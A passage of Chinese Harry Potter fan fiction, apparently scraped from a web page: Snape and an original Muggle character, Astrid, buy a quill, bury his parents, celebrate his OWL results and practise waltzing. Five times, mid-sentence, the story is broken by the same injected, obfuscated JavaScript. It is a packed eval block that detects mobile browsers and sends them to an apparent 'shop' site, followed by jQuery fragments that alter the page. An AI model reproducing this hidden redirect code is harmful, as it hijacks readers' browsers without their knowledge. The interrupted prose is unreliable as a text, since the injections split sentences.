“文具店。”阿斯特丽德头也不回,“既然决定要送你羽毛笔了,那不如就趁今天。省得我到时候还得在破釜酒吧求爷爷告奶奶,让好心的巫师带可怜的麻瓜来对角巷买文具。” 她的语气理所当然,理直气壮,仿佛这是一个早就计划好的行程。 斯内普的脚步顿了一下,他看着前面那个走得不快但目标明确的背影,嘴唇动了动,像是想说什么嘲讽的话。但那些话到了嘴边,又被他自己咽了回去。 最后他只是懒洋洋地跟上去,用那种漫不经心的语调说:“你确定?那支笔可不会因为是你买的就便宜一点。它们对麻瓜和巫师一视同仁——都贵。” 阿斯特丽德回头瞪了他一眼:“我知道。我又不是来抢的。” 斯内普没再说话,只是跟着她走进那家店,双手插在裤兜里,目光从那一排排陈列的羽毛笔上慢慢滑过。 墨绿色的,笔杆光滑,羽毛整齐,看起来中规中矩,像那种会被批量生产的校用文具。黑色带墨蓝宝石的,华丽,张扬,笔尖上镶着一颗小小的宝石,折射出刺眼的光。还有那些各种颜色的、各种羽毛的、来自不同鸟类的…… 他的目光其实不是在评估哪支笔更好看。 他在估摸阿斯特丽德今天出门带了多少钱。刚才在古灵阁,他注意到她兑换完分成后手里还剩一些英镑——不多,但也不算少。换成加隆的话,大概…… 够买一支中档的。 够买那支—— 阿斯特丽德的手指已经伸了出去,指着那支墨绿色的。 “那支怎么样?” 斯内普看了一眼。墨绿色,灰扑扑的羽毛,笔尖普普通通。 “像四年级的魔药课作业。”他说,“平庸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334579|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乏味,写完就忘。” 阿斯特丽德又指向另一根。黑色,带墨蓝宝石,笔杆上刻着细细的纹路:“这个呢?很衬你的气质了吧?或许还能给你的论文增加些美妙的灵感?” 斯内普又看了一眼。黑配蓝,宝石,闪亮,张扬。“这支笔写出来的论文,大概会在教授面前大喊‘快看我快看我’,然后被扔出窗外。太吵了。” 阿斯特丽德翻了个白眼。她的手指在那些羽毛笔上方慢慢移动,划过一排又一排,最后—— 停在那支依旧在得意洋洋摇晃的深蓝色羽毛笔前。 那支笔还在晃,轻轻摆动着羽毛尖,一颤一颤,一摇一摇,像在哼着什么只有它自己能听见的小调。悠闲,自在,完全不知道外面的人在说什么。 阿斯特丽德看着它,忽然笑起来:“就它吧。”她转过头来看他,“好不好?你不觉得它跟你很有缘吗?” 斯内普看着那支笔。 它晃得更欢了,羽毛尖翘得老高,整个笔身都在轻轻颤动,像在说“选我选我选我”。 他又看看阿斯特丽德。她正用那种亮晶晶的眼神看着他,嘴角弯着,一副“我就知道你会喜欢”的表情。 他没有立刻说话,但有一个声音——很轻很轻的、从他鼻腔里发出来的声音——哼了一声。 “买吧。”他说,语气依旧懒洋洋的,“反正它晃成这样,不买走的话,我怕它一会儿哭得停不下来。” 阿斯特丽德的笑从眼睛里溢出来,漫到整张脸上,然后她转身去找店长。 斯内普站在原地,双手依旧插在裤兜里,看着那支还在晃的羽毛笔。 那支笔晃得太过欢快了,羽毛尖都快翘到天上去了,整支笔抖得像得了什么怪病。 他不禁想,这东西买回去,会不会天天在自己耳边嗡嗡嗡? 店长是个瘦高的男人,留着两撇精心修剪的小胡子。他小心翼翼地把那支羽毛笔从橱窗里取出来,放进一个深蓝色的丝绒盒子里,又用一根银色的丝带系好,打了一个完美的蝴蝶结。 整个过程中,他的目光一直在这两个人之间来回扫视,目光里有一种微妙的、暧昧的、心照不宣的东西。翻译成文字大概是:哦,小伙子,有福气啊,人家姑娘给你挑礼物呢。 斯内普面无表情地站在那里,假装没看见。 店长把盒子递给阿斯特丽德,又从柜台下面拿出一小瓶墨水——深蓝色的,和那支羽毛笔的颜色一模一样。 “赠品。”他笑眯眯的,“配这支笔刚好,希望你们喜欢。” 阿斯特丽德接过墨水和盒子,礼貌地道了谢。那声谢谢说得诚恳而灿烂,仿佛刚才把兜里的钱全部翻出来的心痛感,在这一刻得到了些许慰藉。 斯内普站在一旁,看着她把那个盒子小心翼翼地收进袋子里。然后他移开目光,看向街上那些来来往往的人群,什么都没说。 再次乘坐地铁回到科克沃斯,然后又换乘那辆哐当作响的公交车回到蜘蛛尾巷。 看着熟悉的不能再熟悉的街景——那些灰扑扑的房子,歪斜的晾衣绳,还有堆在门口的垃圾袋——阿斯特丽德不得不承认一个事实:她更喜欢对角巷。 如果可以选,她愿意待在魔法世界,而不是这条臭烘烘的、永远散发着一股烂菜叶和煤灰味的破烂街道。 但没得选。所以她没有发表这番感言。 斯内普一路把她送到瑞娜姑妈家门口。那扇门油漆斑驳,门把手锈迹斑斑,整栋房子都透着一股“别进来”的气息。 “到了。”他语气平淡。 阿斯特丽德点点头,推开门,回头看了他一眼:“路上小心。” 斯内普极快地点了点头,然后拎着手里的东西——新买的魔药材料,和那个装羽毛笔的丝绒盒子——转身往巷子深处走去。 天色已经接近黄昏。蜘蛛尾巷的夕阳没有那种靡丽柔软的金红色,反而是一种灰扑扑的黄,像被什么东西滤过一遍似的。他的黑色身影在那种光线里几乎要融进去,变成一个移动的、模糊的剪影。 阿斯特丽德站在门口,看着那个剪影越走越远,最后消失在巷子尽头。她这才转身进了屋,把那扇嘎吱作响的门关上。 10. 帮你看家 斯内普推开自己家的门。 屋里没人,托比亚不在——用巨怪的脑子想也知道是去喝酒了。艾琳也不在,大概是去买东西,或者只是不想待在家里。 他把魔药材料放在桌上,把那支新买的羽毛笔从盒子里拿出来,端详了片刻。 深蓝色的羽毛,笔杆光滑,握在手里分量刚好。 他在桌子前坐下,铺开一张羊皮纸,蘸了蘸墨水,开始写那篇没写完的魔药学论文。 笔迹流畅,非常流畅,而且这支笔似乎还能自动校正一些简单的语法错误——有几个词写完之后,它会轻轻抖一下,像是在提示“这个词不对,改改”。 写到一半,他停下来思考下一段的开头,那支笔便也停了下来。 然后,它开始晃。区别于写字时的正常颤动,又回到了那种悠闲的、得意的、自我陶醉式的晃。羽毛尖一翘一翘的,整个笔身轻轻摇摆,像在哼歌。 斯内普看着它。 它晃得更欢了,仿佛在说“看我多棒,看我多棒”。 他伸出苍白修长的手指,捏住了那根翘得最高的羽毛尖。 羽毛笔一僵。整个笔身都僵住了,像被点了穴一样。然后,它轻轻抖了抖,继而整个笔杆都弯下来,像在鞠躬。一个假惺惺的、迫于威压的、心不甘情不愿的鞠躬。 斯内普看着它那副“我错了但我不服”的怂样,嘴角勾起一抹弧度。 像谁呢? 他放开手,那支笔立刻直起身子,又晃了一下——但这次晃得收敛多了,像在试探“他还生气吗”。 他重新拿起笔,继续写论文。 窗外,蜘蛛尾巷的夜色一点点漫上来。 第二天清晨,斯内普家的门被敲响了。 敲门声很急,砰砰砰的,一听就是有什么要紧的事。 他披上衣服去开门。门外站着的是住在巷口的那个老妇人,一张脸皱得像干瘪的苹果,脸上的表情…… “西弗勒斯,”她喘着气,“你父亲——托比亚——淹死了,在河渠那边。” 斯内普僵在门背后。他的眼睛有一瞬间的空洞,像是大脑突然宕机,所有的情绪都被卡住了,不知道该往哪儿走。 好一会儿,他才开口:“知道了。”声音很干涩,像砂纸磨过木头。 他没有想过托比亚会这么轻易、又这么早地就死掉了。这出乎他的意料,让他措手不及。 他还没有让这个懦夫好好看看——看看他这个“巫师崽子”能在魔法世界混出什么名堂。还没有让托比亚后悔,后悔那些年来的拳头和辱骂。还没有等来那句永远不会来的“对不起”。 托比亚就死了。 那一瞬间,比悲伤更明显的,是一种空茫的情绪。低落都比悲伤还多一些。 他穿上衣服,往河渠那边走去。 河渠边已经围了一小群人。几个邻居站在那儿,交头接耳,指指点点。艾琳蹲在托比亚的尸体旁,呆呆地,一动不动。 斯内普走过去,站在她身后。 他能看出艾琳的悲伤——那悲伤如有实质,像一层灰色的雾笼罩在她身上。但他说不出任何安慰的话,他不知道该说什么。 一只手轻轻搭在他肩膀上,“西弗勒斯。” 他转过头,阿斯特丽德站在他身边,从围观的人群中走了出来。她的眼睛看着他,那双烟紫色的眼睛里没有太多情绪,只是安静地看着。 “你难过吗?”她低声问。 斯内普的目光落在托比亚的尸体上。那张脸泡得发白,浮肿,已经不太像他记忆中的样子。那些愤怒的、酗酒的、挥舞拳头的样子,都不见了。 只剩下一具苍白的尸体。 他沙哑着嗓音摇了摇头:“比起这个,我更想知道自己该不该难过。” 阿斯特丽德没有说话,她的手在他肩膀上轻轻按了按,然后收了回去。 是啊。 如果是她——如果是瑞娜姑妈就这么死了,她会难过吗?她应该难过吗? 她没再问,只是安静地站在他身边,等着人群慢慢散去。然后,她帮着他和艾琳,把托比亚入殓。 晚上,斯内普躺在床上,盯着天花板。 他以为这件事会慢慢被时间抚平。托比亚死了,那个醉鬼终于不会再出现了。这难道不是好事吗? 但第二天,艾琳自杀了。 就在那条河渠,同一个位置。 斯内普站在河渠边,看着艾琳的尸体被捞上来。她的脸比托比亚的更白,更安静,像是睡着了一样。 那一瞬间,他在想什么? 想的是——自己这个儿子,始终比不上托比亚那个失败的酒鬼在艾琳心中的分量? 还是想——唯一给予过自己真爱的人,也离去了? 胸口似乎堵着一团东西,不上不下,不冷不热,不疼不痒,但就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334580|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那儿压着,让他喘不过气。 阿斯特丽德第二天闻讯赶来时,仍旧不知道要说什么。 这一次,斯内普应该是难过的。但那句“节哀”她说不出口。太轻了,太平淡了,太没有实际意义了。 她便沉默地站在他身边,帮他料理丧事。联系殡仪馆,处理手续,收拾那些没用的遗物,把屋子整理干净。 等所有事都办完,两个人并排站在合葬的墓碑前。 那块墓碑上刻着两个名字——托比亚·斯内普,艾琳·斯内普。并排躺在一起,像他们活着时从未有过的那样亲密。 阿斯特丽德看着那块墓碑,忽然开口:“如果你需要的话,”她的声音很轻,像怕惊动什么,“我可以在你住校期间帮你看屋子。” 斯内普转过头看她,她正盯着那块墓碑:“房子一般都是放坏的。”她像是在解释一个常识,“如果没人住,没人打理,很容易受潮发霉,或者被老鼠虫蚁破坏。你暑假回来的时候,可能连门都推不开了。” 片刻的停顿后,她继续轻声说:“有我看着,起码还能维持原样。也不至于让你回来的时候,觉得太冷清。”这次她终于转过头,对上他的目光。 “你知道我屋里有什么吗?”斯内普声音沙哑,但语调是他惯用的讽刺,“坩埚,魔药材料,黑魔法书,还有一些——不太适合让麻瓜看见的东西。” 阿斯特丽德眨了眨眼,“所以呢?你是怕我偷看你的黑魔法书,还是怕我把你的坩埚拿去卖废铁?” 斯内普那双黑眼睛里有某种他一直习惯竖着的、防备的东西,在这一刻稍微放低了一点点。 “钥匙在门口垫子下面。”顿了顿,他又补了一句,“别让我回来的时候,发现我的魔药材料被用来做了面膜。” 阿斯特丽德轻轻笑了一下,在七月的阳光下,显得很亮:“放心。你的那些树皮草根眼睛尾巴,我可不会往脸上抹。” 斯内普的嘴角动了动,那大概是他目前状态下,能拿出来的最接近“笑容”的东西。 他们又在那块墓碑前站了一会儿。风从河渠那边吹过来,带着一点水腥味和夏天特有的闷热。远处的蜘蛛尾巷静悄悄的,像一个睡着了就不想醒的人。 “走吧。”斯内普说。 阿斯特丽德点点头。 他们转身,一起往回走。七月的阳光把两个人的影子投在地上,并排落在那条坑坑洼洼的小路上。 11. 庆祝 11. 从七月下旬开始,阿斯特丽德就经常待在斯内普家的客厅里。斯内普怀疑她几乎要把这儿当成第二个家了。 她有时是抱着新做好的货品去找他加工——那些瓶瓶罐罐堆在茶几上,等着他那根魔杖挨个点过。有时是跟他一起聊天、看书,或者烹饪一顿像样的晚餐——自从斯内普父母不在了,他那间厨房几乎没开过火,灶台冷得像地窖。更多的时候,就是一起待着。他熬他的魔药,她写她的暑假作业。两个人各占客厅一角,互不打扰,偶尔抬头交换几句有的没的,然后再低下头去。 安静得刚刚好。 他们还举行过“比比谁先写完一篇论文”的赛事。 斯内普对此嗤之以鼻,说这是“给注定失败的人一个体面的借口”。但每次阿斯特丽德把作业本往茶几上一拍,喊“预备——开始”的时候,他也会低下头,用那支新买的、嘚瑟的深蓝色羽毛笔刷刷地写起来。 大多时候以斯内普赢而告终。 不是因为别的——就因为那支该死的羽毛笔会自动纠错。写错了词,它会轻轻抖一下;语法不对,它会自己停住;甚至连句式不通顺的地方,它都会用笔尖点点那个位置,像在说“这儿,改改”。斯内普只需要闭着眼睛写,写完就是一篇完美的论文。 而她呢?她得肉眼检查全文,一个词一个词地看,一个标点一个标点地改,眼睛都快瞎了。 “作弊。”她指着那支笔控诉。 斯内普抬起眼皮看了她一眼,那眼神明明白白写着“你也可以去买一支,如果能进入对角巷的话”。 而当阿斯特丽德有限的几次获胜之后——通常是那支笔刚好卡壳,或者斯内普写累了走神的时候——她会立刻跳起来,三步并作两步窜到他面前,指着那口正在咕嘟冒泡的坩埚:“伟大的魔药新星!”她双手合十,语气做作得像在演喜剧,“可怜的麻瓜可否用您闪亮的坩埚制作润肤霜?只要一会儿,一小会儿——” 斯内普通常会冷笑一声,然后抽出那根艾琳留下的旧魔杖,轻轻一点。 阿斯特丽德就动不了了。 她像被钉在地板上一样,只能站在原地,眼睁睁地看着那个坩埚冒着诱人的热气,却迈不出半步。 “你就不能为我们共同的事业多贡献一份力量吗?”她站在原地,幽幽地望着他守在坩锅前的背影,声音哀怨,“伟大的巫师先生?” “不。” 斯内普没有回头。他的背影笔直地立在那儿,一只垂在身侧,一只手执着魔杖轻轻搅拌着坩埚里的药水。那姿态悠闲得欠揍。 阿斯特丽德盯着那个背影,在心里畅想:等你开学了,我就大用特用你的坩埚,用完了还拿去卖钱,卖来的钱全买冰淇淋,一口都不分给你—— “我听得见。”那个背对着她的声音慢悠悠地飘过来,语调懒洋洋的。 “而且,我建议你收起那些危险的想法。”他用魔杖在坩埚里画了一个完美的圆,“开学前我会在坩埚上施一个小咒语。如果有人未经允许使用它——比如某个试图用我的坩埚发财的麻瓜——那个坩埚会毫不犹豫地把自己变成一只会咬人的癞蛤蟆。” 阿斯特丽德撇了撇嘴。 万恶的黑巫师。 七月末,斯内普收到了OWLs考试的成绩单。 那只猫头鹰扑棱着翅膀从窗户飞进来的时候,阿斯特丽德正在往脸上抹她最新改良的润肤霜。她被那只突然闯入的鸟吓了一跳,手一抖,润肤霜糊到了眉毛上。 斯内普接过那个羊皮纸信封,拆开,目光从那张单子上慢慢扫过。阿斯特丽德擦掉眉毛上的润肤霜,凑过去,把脑袋挤到他肩膀旁边。 成绩单上写着: 普通巫师等级考试(O.W.Ls)成绩单 西弗勒斯·斯内普 科目成绩 魔咒学 O 黑魔法防御术 O 魔药学 O 草药学 O 变形术 E 魔法史 O 天文学 O 占卜学 O 麻瓜研究学 O 阿斯特丽德的目光落在最后那门课上,眉毛挑了起来。 “你还需要学这个?”她指着“麻瓜研究学”那几个字,语气里带着十二分的稀奇。 斯内普的下巴微微抬起了一点,嘴角勾着一个懒洋洋的弧度,眼里有一点点亮光在闪烁。 那亮光翻译过来大概是:年级第一。九个O。你呢? “为了学分。”他语气十分漫不经心,“顺便看看,巫师眼里的麻瓜是什么样的。” 他接着又补了一句,语调懒散但透着一点得意:“事实证明,巫师眼里的麻瓜,比某些麻瓜眼里的自己——要准确得多。” 阿斯特丽德决定镇压他的气焰。 她的手指往下滑,戳在那个孤零零的“E”上,“那变形术为什么是E?” 斯内普的嘴角抽了一下。“麦格教授。”他那语气平板得像在念悼词,“她对‘精确’的定义,比我的坩埚对‘干净’的定义还要苛刻。她说我的变形‘有创意但不够稳’。” 他把那根嘚瑟的羽毛笔从桌上拿起来,在指尖转了个圈。“不过没关系。六年级可以重考,到时候我会让她看看什么叫‘既稳又有创意’。” 阿斯特丽德继续往下看。她的手指划过那些科目,最后停在“占卜学”上。 “占卜也是O?”她抬起头,眼睛里闪着促狭的光,“那你能免费预测一下我将来的资产吗?比如——我什么时候能发财?” 那双黑眼睛从上到下把她扫了一遍,从她头顶的白金色头发扫到她脚上那双天蓝色帆布鞋,然后收回目光,落到窗外那条灰扑扑的街道上。 他的嘴角勾起一个弧度,那弧度恶劣得恰到好处。“可以。”他语调慢悠悠的,像在宣读一份预言,“我看到——你未来的资产……在未来的十分钟内,不会有任何变化。未来的一小时内,也不会有任何变化。未来的一天内,同样不会有任何变化。事实上——” 他转回头看她,眼里带着一点促狭:“根据我的占卜,你未来的资产,在未来很长一段时间内,都会保持一种……怎么说呢,‘稳定’的状态。稳定得像蜘蛛尾巷的臭水沟。年年如此,岁岁如常。” 阿斯特丽德瞪着他。 “不管怎么说,”她深吸一口气,决定不跟他计较,“还是要恭喜你拿到了年级第一。晚上想吃点什么?” 斯内普先是斜睨着她,从上到下,从左到右,把她又扫了一遍,然后落在她的脸上:“你做?” 阿斯特丽德白了他一眼:“想什么呢?当然是一起做。不过食材由我包揽。” 斯内普的嘴角动了动,似乎是想说:就知道会是这样。 他靠在椅背上,一只手搭在扶手上,另一只手支着下巴,目光落在天花板上,像是在认真思考什么人生大事。 过了好一会儿,他才开口:“牧羊人派,约克郡布丁,烤牛肉配肉汁,威尔士干酪吐司,兰开夏火锅——” “等等等等。”阿斯特丽德打断他,“你说贯口呢?” 斯内普收回目光,懒洋洋地看着她:“是你说食材由你包揽。我只是在行使我的点菜权。你反悔了?” 阿斯特丽德咬了咬牙:“……没反悔。”她从牙缝里挤出几个字,“但你给我等着。下次你过生日的时候,我就请你吃蜘蛛尾巷特供——面包边角料配白开水。” 斯内普挑眉,一副“你威胁不到我”的表情,“可以。反正你那些面包边角料,比某些人做的烤牛肉好吃。” 阿斯特丽德愣了一下,然后别过脸去。 这人说话怎么——怎么突然—— 算了。去买菜。 两人一起去了附近的那家小商铺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334581|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说是“一起”,其实是阿斯特丽德在前面走,斯内普在后面跟着,两只手插在裤兜里,一副“我只是路过顺便陪你”的懒散模样。但每次阿斯特丽德回头问他“这个行不行”“那个要不要”的时候,他都会懒洋洋地点点头或者摇摇头。 采购完毕,两人拎着大包小包回到斯内普家,开始分工。 阿斯特丽德负责备菜和调味——切洋葱,剁大蒜,削土豆皮,调肉汁。斯内普负责掌控火候——站在灶台前,盯着那些锅碗瓢盆,偶尔抽出魔杖轻轻点一下,调整火焰的大小或者搅拌的速度。 “你就不能顺手帮我把洋葱也切了?”阿斯特丽德举着那把菜刀,看着面前堆成小山的洋葱,眼睛里满是期待。 斯内普瞥了她一眼:“可以。但切完之后,那些洋葱会变成均匀的、完美的、精确到毫米的小方块。然后你会在吃派的时候发现,每一口洋葱丁的大小都一样,每一口的味道都均匀得可怕,最后你会怀念你自己切出来的那些大小不一的、充满‘手工感’的洋葱。” 阿斯特丽德想了想那个画面,“算了,我还是自己切吧。” 斯内普不置可否,但用魔杖轻轻点了点她面前的砧板,那些洋葱自己滚到她手边,排成一排,像在接受检阅。 阿斯特丽德:“……” 她切着洋葱,眼泪汪汪地盯着那个站在灶台前的背影。那人正悠闲地搅动着一锅肉汁,偶尔抬起魔杖调整一下火候,姿态优雅得像个指挥家。 “你就不能尝试用魔法完整地做顿饭吗?”她吸着鼻子问,“让我也见识见识巫师料理的风味?” 斯内普回过头来,目光落在她那张被洋葱熏得眼泪汪汪的脸上。“我想我得提醒你,用魔法做的食物,吃起来会有一种……‘被施过魔法’的味道。” 阿斯特丽德眨眨眼,这跟说了一句废话有什么区别? “那是什么味道?” 斯内普想了想,找到了一个比喻:“就像你在伦敦最贵的餐厅里,点一份最贵的牛排。牛排很完美,酱汁很完美,摆盘很完美——但你就是吃不出‘这是人做的’的感觉。”他补充问:“你确定你想体验那个?” 阿斯特丽德认真思考了两秒,“……算了。我还是喜欢你手动做的饭。” 话一出口,她愣了一下。 斯内普也愣了一下。但只是一瞬,下一秒他就转回头去,继续搅动那锅肉汁,仿佛什么都没听见。 阿斯特丽德低下头,继续切她的洋葱。眼泪还在流,仿佛什么都没说。 当菜品依次上桌的时候,那张小小的餐桌几乎被摆满了。 牧羊人派金黄的表皮上冒着热气,约克郡布丁鼓得高高的,烤牛肉切得厚薄均匀,浇着浓稠的肉汁。威尔士干酪吐司还在滋滋作响,兰开斯特火锅冒着咕嘟咕嘟的小泡。 阿斯特丽德从她的包里掏出一瓶红酒。不是什么名贵的酒,就是普通的超市货,标签上印着个不认识的法文词,价格便宜得让人怀疑它到底是不是真的红酒。 “今天值得庆祝。”她把酒瓶往桌上一放,“可以少喝一点。” 斯内普的目光落在那瓶酒上,又转向她:“可以。但我得提前声明:如果你醉得像一头死猪,我是不会好心收留你的。也不会大发善心送你回家。” 他勾起嘴角,语气里带着若有若无的嘲讽:“我不想在半夜敲开瑞娜姑妈的门,然后顶着‘你这个坏小子’的目光解释——‘不是我把她灌醉的,是她自己非要喝’。” 阿斯特丽德一边倒酒,一边不在意地摆摆手:“放心。我酒品很好。”她说着,把一杯酒推到他面前,“就算喝醉了,我也能团成一团自己滚回去。从你家到我家,那条路我闭着眼睛都能走——毕竟走了十几年了。” 斯内普端起酒杯,轻轻碰了碰她的杯子:“那就祝你的‘酒品很好’名副其实。” 阿斯特丽德笑得开怀:“干杯。” 12. 醉鬼 斯内普就知道。 他就不应该相信阿斯特丽德说的那句“酒品很好”的话。 看看她现在的样子吧——一个哭闹着非要拿他的魔杖当盘发棒的、恶劣的、讨人厌的麻瓜! “给我嘛——”她伸出手,眼眶红红的,不知道是哭的还是被酒熏的,“你的小木棍——” 斯内普把魔杖往身后一藏,脸色阴沉得像暴风雨前的天空:“不可能。” 阿斯特丽德歪着头看他,那双烟紫色的眼睛蒙着一层水雾,亮得不太正常。她踉跄着绕过茶几,一步一步朝他逼近。 “就一会儿——”她伸出两根手指,“两分钟——” “不。” 她已经扑过来了。她居然扑过来了。一个喝醉的麻瓜,居然敢扑向一个巫师,企图抢夺他的魔杖—— 斯内普闪身躲开,但她扑了个空之后没有放弃,而是转了个方向,继续追。追到客厅中央,追到楼梯旁边,最后追到盥洗室门口。 “你——现在——立刻——放下那个念头。”他一词一顿地说,声音里带着十二分的威胁。 但阿斯特丽德已经抓住了他的袖子。她仰着头看他,那双眼睛水汪汪的,里面装满了某种他说不清的东西。 “就给我看看嘛——”她晃着他的袖子,“我又不会掰断它——” 斯内普瞪着那只拽着自己袖子的手。她还想过掰断它? 他深吸一口气,然后抽出魔杖,缓缓举到自己面前:“统统——” “别别别!”阿斯特丽德立刻松开手,往后退了一步,但下一秒又扑上来—— 她抓住了。 她居然抓住了。 斯内普僵在原地,一时不知道是该把她石化,还是该把自己石化。 阿斯特丽德握着那根魔杖,举到眼前端详了片刻,然后——她把魔杖插进了自己的头发里,盘成一个低发髻。 黑色的杖身,雕着雅致的花纹,从她白金色的发髻后面露出来,像一支古怪的发簪。 她踉跄着跑到盥洗室的镜子前,左照照,右照照,咧着嘴傻笑:“多合适啊——”她看着镜子里的自己说,“黑色配白色,你不觉得吗?很有艺术家气质。” 斯内普站在盥洗室门口,双手抱胸,脸色阴沉得可以拧出水来。他重重地喷了个鼻息——那个鼻息重到让阿斯特丽德怀疑他下一秒就可以喷出火来,像故事书里的那些龙一样。 但她依旧看着镜子里的自己,看着那根从发髻后面露出的黑色杖柄,看着那个雕着雅致花纹的小东西。 多看看吧,她在心里说。好好看看。 这是你离他的世界最近的一次了。 等欣赏够了,她伸手从头发里抽出那根魔杖,往后一递:“喏,你的身份证。” 斯内普接过魔杖,在指尖转了个圈,动作不快,像在确认它有没有被弄坏。 阿斯特丽德转过身来,靠在洗手台边上,摇摇晃晃地站着。她歪着头看他,口齿不清地问:“不过说真的——巫师们离了魔杖,就不能使用魔法了吗?” “你想知道?”他的声音轻柔得像耳语。 阿斯特丽德呆呆地点了点头。 下一秒,她觉得自己飘起来了。双脚离开地面,整个人浮在半空中,像一片羽毛。她从盥洗室飘出来,飘过走廊,飘进客厅,最后duang地落在沙发上,像被一只无形的手扔下来。 “哇哦……”她瘫在沙发上,眨巴着眼睛,“我飞起来了。” 斯内普冷哼一声,没有理她。他转过身,对着那排魔药架子说了句什么。一瓶深色的魔药从架子上飞过来,在空中划过一道弧线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334582|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后准确地落在阿斯特丽德的腿上。 阿斯特丽德举起那个瓶子,对着灯光看了看:“这是什么?” “毒药。”斯内普冷冰冰地吐出一个词。然后他用下巴示意那个瓶子:“喝掉它。现在——睡觉。” 阿斯特丽德撇撇嘴,打开盖子,一口闷下。液体滑过喉咙的那一瞬间,她全身的汗毛都竖了起来。 那味道——她不想描述。她拒绝描述。她这辈子都不想再回忆起那个味道。 但她没有吐出来。 因为她看到斯内普正站在那儿,双手抱胸,居高临下地看着她。那目光里写着四个大字:敢吐试试。 她硬生生地把那股涌上来的恶心压了下去,然后乖乖躺好,面朝着他,侧躺在沙发上。 斯内普这才移开目光,重新抬起魔杖,对着二楼的方向轻轻一挥。一床薄毯从楼上飘下来,在半空中展开,然后准确地落在她身上——从头盖到脚,兜头盖脸。 阿斯特丽德忙把毯子往下拉,露出一双眼睛,盯着他:“大发善心的巫师先生?”声音闷闷的,带着一点醉意和困意。 斯内普看了她一眼。那双黑眼睛里有一点点光在闪,像是某种他不知道该怎么命名的东西。 “如果你再多说一个字的话,”他语气平淡,嘴角勾起一个恶劣的弧度:“就不是了。” 阿斯特丽德闭紧嘴,没说话。 斯内普这才转过身去,用魔杖对着餐桌上那些杯盘碗碟轻轻一挥——那些盘子一个接一个飘起来,排着队飘进厨房,落进洗碗池里。然后水龙头自己打开了,洗碗刷自己动起来,开始一件一件地清洗那些餐具。 阿斯特丽德躺在沙发上,透过厨房的门看着那一切。 巫师就是爽啊。 她迷迷糊糊地想,慢慢陷入沉睡。 13. 一起练舞 12. 进入八月,阿斯特丽德果然拉着斯内普开始练习跳舞。鉴于两人谁也没比谁多会一点儿,阿斯特丽德斥巨资买了本详细讲解各类舞步的书。 “巨资”的意思是:三本二手课本的价钱。但对她来说,这已经是笔不小的开支了。 那本书的封面印着《现代舞步大全:从华尔兹到狐步》,翻开之后里面全是密密麻麻的图解和说明。阿斯特丽德和斯内普轮流看,你读一段,我读一段,然后就在他家客厅里练习。 把茶几推到墙边,把地毯卷起来,把那些碍事的瓶瓶罐罐挪到高处——这就是他们的舞池了。 效果嘛…… 他俩真的谁也没比谁好一点。 “你这里跳错了。”阿斯特丽德踩在他的脚上,理直气壮地说。 斯内普低头看着那只踩在自己皮鞋上的脚,又抬头看着那张毫无歉意的脸。 “因为你刚才踩我脚了。”他面无表情地说。 “是谁说的我踩不到他?” 沉默。 “……再去看看书。” 这样的对话每天都在上演。 但舞步也确实在进益。磕磕绊绊,你踩我我踩你,慢慢开始能连起来几个完整的八拍。到了临开学前几天,两人已经能配合完成一曲华尔兹了。 那本书上说,华尔兹的要诀是“流畅、旋转、默契”。阿斯特丽德觉得,他们大概勉强做到了“流畅”和“旋转”——默契嘛,还得再练个一年。 斯内普的手搭在她腰侧,另一只手握着她的手,带着她在客厅里旋转。从茶几旁边转过去,绕过那排魔药架子,转到一个比较开阔的区域,又转回来。窗外的阳光斜斜地照进来,把两个人的影子映在墙上,转成一个模糊的圆。 转到楼梯口附近时,阿斯特丽德忍不住开口: “希望你在奇幻城堡里也能跟人配合完美。” 斯内普确信,他没有从这句话里听出任何“真心祝福”的成分。那语气酸溜溜的,像刚从醋缸里捞出来。 “不劳你费心。”他不咸不淡地说,“我确信鼻涕虫俱乐部里的成员都精于此道。从小就开始练,跳得比你好多了——至少不会踩别人的脚。” 阿斯特丽德从善如流地点点头:“都是纯血贵族?” 